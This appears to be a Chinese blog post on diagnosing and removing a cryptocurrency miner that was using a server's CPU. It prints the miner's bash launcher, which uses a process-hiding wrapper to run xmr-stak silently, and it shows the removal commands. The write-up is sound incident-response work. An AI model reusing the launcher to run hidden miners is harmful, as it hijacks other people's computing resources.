首页 > 其他分享 >cpu居然不下,排查诊断详解

cpu居然不下,排查诊断详解

时间:2023-04-23 15:35:08浏览次数:33  
标签:HIDE -- library stakubuntunew h64 排查 详解 path cpu

客户端登录服务器,使用非常卡顿,查看服务器使用情况

cpu居然不下,排查诊断详解_服务器

有进程占用cpu非常严重

查看进程所在目录

[root@176-18-0-10 ~]# pwdx 1268
1268: /usr/local/games/.cache

查看病毒目录和执行文件内容

[root@176-10-0-10 ~]# ls /usr/local/games/.cache

a  h32  h64  run  s  s32  stak3  stakcentosold  stakubuntunew  upd  x

[root@176-10-0-10 ~]# cat /usr/local/games/.cache/run

#!/bin/bash

#ps aux | grep -vw xmr-stak | awk '{if($3>40.0) print $2}' | while read procid

#do

#kill -9 $procid

#done

proc=`nproc`

ARCH=`uname -m`

HIDE="s"

OS="ubuntunew"


if [ "$ARCH" == "i686" ];       then

        ./h32 -s $HIDE ./stak3/ld-linux.so.2 --library-path stak3 ./s32 >>/dev/null &

elif [ "$OS" == "universal" ];   then

        ./h64 -s $HIDE ./stakubuntunew/system --library-path stakubuntunew ./s >>/dev/null &

elif [ "$OS" == "centosold" ];   then

        ./h64 -s $HIDE ./stakcentosold/system --library-path stakcentosold ./s >>/dev/null &

elif [ "$OS" == "ubuntuold" ];   then

        ./h64 -s $HIDE ./stakubuntunew/system --library-path stakubuntunew ./s >>/dev/null &

elif [ "$OS" == "ubuntunew" ];   then

        ./h64 -s $HIDE ./stakubuntunew/system --library-path stakubuntunew ./s >>/dev/null &

elif [ "$ARCH" == "x86_64" ];   then

        ./h64 -s $HIDE ./stakubuntunew/system --library-path stakubuntunew ./s >>/dev/null &

fi

echo $! > /tmp/.bash.pid

查看是否有陌生服务器连接服务器

netstat -antp

cpu居然不下,排查诊断详解_ubuntu_02

确定是病毒,然后就是删除病毒

要删除的东西:木马所在目录(/usr/local/games/.cache),木马进程(1268)

rm -fr /usr/local/games/.cache
kill -9 1268

再查看进程使用情况,完全正常

cpu居然不下,排查诊断详解_服务器_03


标签:HIDE,--,library,stakubuntunew,h64,排查,详解,path,cpu
From: https://blog.51cto.com/u_14316134/6217755

相关文章

  • MAC地址详解
    MAC地址MAC地址(MediaAccessControl),即媒体访问控制地址,在不同的使用场景下有不同的别名,比如局域网地址(LANAddress),以太网地址(EthernetAddress),物理地址(PhysicalAddress),硬件地址(HardwareAddress)等。MAC地址作用于数据链路层,用来在局域网中唯一标识一个网络设备接口。网络设备制......
  • rails的接口查询详解
    RetrievingObjectsfromtheDatabasefind"find"是一种常用的数据库查询方法,在Rails中被用于从数据库中查找单个记录。它可以接收一个主键作为参数,也可以接收一组条件参数。以下是"find"方法的使用方式:#使用主键查找单个记录Model.find(1)#使用条件参数查找单个记录Mod......
  • nginx自定义负载均衡及根据cpu运行自定义负载均衡
    1.nginx如何自定义负载均衡在Nginx中,可以通过配置文件自定义负载均衡策略。具体步骤如下:首先,在Nginx配置文件中定义一个upstream模块,并设置负载均衡策略和后端服务器列表,例如:upstreammyapp{serverbackend1.example.comweight=3;serverbackend2.example.com;se......
  • Openharmony应用NAPI详解--基础篇
    NAPI是什么?​ 简单点理解就是在Openharmony里,实现上层js或ets应用与底层C/C++之间交互的框架。​ Openharmony里的官方解释:NAPI(NativeAPI)组件是一套对外接口基于Node.jsN-API规范开发的原生模块扩展开发框架。还有NAPI适合封装IO、CPU密集型、OS底层等能力并对外暴露JS接口,通过......
  • Openharmony应用NAPI详解--进阶篇1
    NAPI面向C++的异步接口3.C++实现NAPI异步接口需要做到三步同步返回结果给js/ets调用者另起线程完成异步操作通过回调(callback)或Promise将异步操作结果返回4.异步接口//foundation/filemanagement/dfs_service/frameworks/js/napi/src/sendfile_napi.cpp...DECLARE......
  • Openharmony应用NAPI详解--进阶篇2
    NAPI面向C++的异步接口(promise)promise方式的处理方式承接上文,与callback方式不同的是,promise对象由C++侧创建以返回值的方式传递回js/ets侧,promise对象存储异步执行的结果。//foundation/filemanagement/file_api/interfaces/kits/js/src/common/napi/n_async/n_async_work_p......
  • Hibernate HQL详解
    1.  HibernateHQL详解1.1. hql简介Hibernate配备了一种非常强大的查询语言,这种语言看上去很像SQL。但是不要被语法结构上的相似所迷惑,HQL是非常有意识的被设计为完全面向对象的查询,它可以理解如继承、多态和关联之类的概念。看个示例,看看sql和HQL的相同与不同:Sql:select*......
  • 详解Redis三大集群模式,轻松实现高可用!
    1.Redis集群简介1.1什么是Redis集群Redis集群是一种通过将多个Redis节点连接在一起以实现高可用性、数据分片和负载均衡的技术。它允许Redis在不同节点上同时提供服务,提高整体性能和可靠性。根据搭建的方式和集群的特性,Redis集群主要有三种模式:主从复制模式(Master-Slave)、哨......
  • 【MySQL】InnoDB中的GAP锁详解
    测试数据:CREATETABLE`lock_test`(`a`int(11)NOTNULLAUTO_INCREMENT,`b`int(11)NOTNULL,`c`int(11)NOTNULL,`d`int(11)NOTNULL,PRIMARYKEY(`a`),UNIQUEKEY`idx_b`(`b`),KEY`idx_c`(`c`))ENGINE=InnoDBDEFAULTCHARSET=latin1;IN......
  • 退出登录、认证配置详解、权限系统的作用、授权基本流程
    退出登录我们只需要定义一个登录接口,然后获取SecurityContextHolder中的认证信息,删除redis中对应的数据即可。LoginController控制层@RestControllerpublicclassLoginController{@AutowiredprivateLoginServiceloginService;@RequestMapping("/user/lo......